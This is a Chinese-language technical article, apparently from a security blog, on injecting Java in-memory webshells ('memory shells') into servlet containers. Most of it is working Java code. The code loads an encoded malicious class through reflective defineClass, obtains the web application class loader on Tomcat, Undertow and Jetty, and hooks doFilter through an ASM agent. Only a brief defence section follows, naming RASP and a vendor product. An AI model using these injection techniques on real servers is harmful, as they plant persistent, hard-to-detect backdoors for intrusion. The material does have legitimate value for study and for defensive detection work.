任意类加载环境下注入内存马
字数 1009 2025-08-29 22:41:32

任意类加载环境下注入内存马技术详解

一、内存马注入基础原理

在JVM中,每个类都有其所属的类加载器。在Java内存马注入场景下,攻击者通常会制作一个恶意类并通过ClassLoader.defineClass方法注入到JVM中,然后通过特定方法注册到Web组件上以供访问。

1.1 基本注入方法

private Object getShell(Object context) throws Exception {
    ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
    if (classLoader == null) {
        classLoader = context.getClass().getClassLoader();
    }
    try {
        return classLoader.loadClass(getClassName()).newInstance();
    } catch (Exception e) {
        byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", 
            byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
        return clazz.newInstance();
    }
}

这种方法看似完善,但实际上存在以下问题:

  1. 依赖请求线程的上下文类加载器(Thread.currentThread().getContextClassLoader())
  2. 在非请求线程环境下会失效
  3. context.getClass().getClassLoader()在某些场景下不可用

二、类加载器选择优化

2.1 Tomcat中的类加载机制

在Tomcat中,ApplicationFilterConfig类的getFilter方法揭示了关键类加载逻辑:

Filter getFilter() throws ClassCastException, ClassNotFoundException, 
    IllegalAccessException, InstantiationException, ServletException {
    if (this.filter != null) {
        return this.filter;
    } else {
        String filterClass = this.filterDef.getFilterClass();
        ClassLoader classLoader = null;
        if (filterClass.startsWith("org.apache.catalina.")) {
            classLoader = this.getClass().getClassLoader();
        } else {
            classLoader = this.context.getLoader().getClassLoader();
        }
        Class clazz = classLoader.loadClass(filterClass);
        this.filter = (Filter)clazz.newInstance();
        return this.filter;
    }
}

高版本Tomcat通过DefaultInstanceManager实现类似功能:

public Object newInstance(String className) throws IllegalAccessException, 
    InvocationTargetException, NamingException, InstantiationException, 
    ClassNotFoundException, IllegalArgumentException, NoSuchMethodException, 
    SecurityException {
    Class<?> clazz = loadClassMaybePrivileged(className, classLoader);
    return newInstance(clazz.getConstructor().newInstance(), clazz);
}

2.2 Servlet规范中的类加载器

Servlet 3.0规范中定义了ServletContext#getClassLoader方法:

/**
 * Get the web application class loader associated with this ServletContext.
 */
public ClassLoader getClassLoader();

这为我们提供了获取Web应用类加载器的标准方式。

三、通用类加载器获取方法

基于以上分析,可以编写通用的Web应用类加载器获取方法:

private ClassLoader getWebAppClassLoader(Object context) {
    try {
        return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
    } catch (Exception e) {
        Object loader = invokeMethod(context, "getLoader", null, null);
        return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
    }
}

使用该方法改进后的内存马注入方法:

@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
    ClassLoader webAppClassLoader = getWebAppClassLoader(context);
    try {
        return webAppClassLoader.loadClass(getClassName()).newInstance();
    } catch (Exception e) {
        byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", 
            byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, 
            clazzByte, 0, clazzByte.length);
        return clazz.newInstance();
    }
}

四、不同中间件的实现

4.1 Undertow实现

private ClassLoader getWebAppClassLoader(Object context) throws Exception {
    try {
        return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
    } catch (Exception e) {
        Object deploymentInfo = getFieldValue(context, "deploymentInfo");
        return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
    }
}

4.2 Jetty实现

public ClassLoader getWebAppClassLoader(Object context) throws Exception {
    try {
        return ((ClassLoader) invokeMethod(context, "getClassLoader"));
    } catch (Exception e) {
        return ((ClassLoader) getFieldValue(context, "_classLoader"));
    }
}

五、ASM通用内存马Agent实现

为了编写通用的ASM内存马Agent,作者尝试了两种方式:

  1. 直接植入方式
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain){
    if(new EvilClass().equals(new Object[]{request, response, chain})){
        return;
    }
    // other business code
}
  1. 系统类加载器方式(高版本JDK可能受限):
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain){
    if(Class.forName("org.example.EvilClass", true, 
        ClassLoader.getSystemClassLoader()).newInstance().equals(new Object[]{request, response, chain})){
        return;
    }
    // other business code
}

六、防御措施

  1. RASP防护

    • 动态类加载分析
    • 恶意类扫描
    • 恶意类清除
    • 常见Web漏洞防护
  2. 推荐方案

    • 使用靖云甲RASP加固高风险应用
    • 在护网行动等关键时期加强防护

七、总结与最佳实践

  1. 在内存马注入时,优先使用ServletContext#getClassLoader获取Web应用类加载器
  2. 对于低版本Servlet容器,通过反射获取context.getLoader().getClassLoader()
  3. 不同中间件需要适配不同的类加载器获取方式
  4. 在编写通用内存马工具时,要考虑各种边缘情况和兼容性问题
  5. 任何警告信息都应引起重视,可能隐藏着潜在问题

完整实现可参考MemShellParty项目。

任意类加载环境下注入内存马技术详解 一、内存马注入基础原理 在JVM中,每个类都有其所属的类加载器。在Java内存马注入场景下,攻击者通常会制作一个恶意类并通过 ClassLoader.defineClass 方法注入到JVM中,然后通过特定方法注册到Web组件上以供访问。 1.1 基本注入方法 这种方法看似完善,但实际上存在以下问题: 依赖请求线程的上下文类加载器( Thread.currentThread().getContextClassLoader() ) 在非请求线程环境下会失效 context.getClass().getClassLoader() 在某些场景下不可用 二、类加载器选择优化 2.1 Tomcat中的类加载机制 在Tomcat中, ApplicationFilterConfig 类的 getFilter 方法揭示了关键类加载逻辑: 高版本Tomcat通过 DefaultInstanceManager 实现类似功能: 2.2 Servlet规范中的类加载器 Servlet 3.0规范中定义了 ServletContext#getClassLoader 方法: 这为我们提供了获取Web应用类加载器的标准方式。 三、通用类加载器获取方法 基于以上分析,可以编写通用的Web应用类加载器获取方法: 使用该方法改进后的内存马注入方法: 四、不同中间件的实现 4.1 Undertow实现 4.2 Jetty实现 五、ASM通用内存马Agent实现 为了编写通用的ASM内存马Agent,作者尝试了两种方式: 直接植入方式 : 系统类加载器方式 (高版本JDK可能受限): 六、防御措施 RASP防护 : 动态类加载分析 恶意类扫描 恶意类清除 常见Web漏洞防护 推荐方案 : 使用靖云甲RASP加固高风险应用 在护网行动等关键时期加强防护 七、总结与最佳实践 在内存马注入时,优先使用 ServletContext#getClassLoader 获取Web应用类加载器 对于低版本Servlet容器,通过反射获取 context.getLoader().getClassLoader() 不同中间件需要适配不同的类加载器获取方式 在编写通用内存马工具时,要考虑各种边缘情况和兼容性问题 任何警告信息都应引起重视,可能隐藏着潜在问题 完整实现可参考 MemShellParty 项目。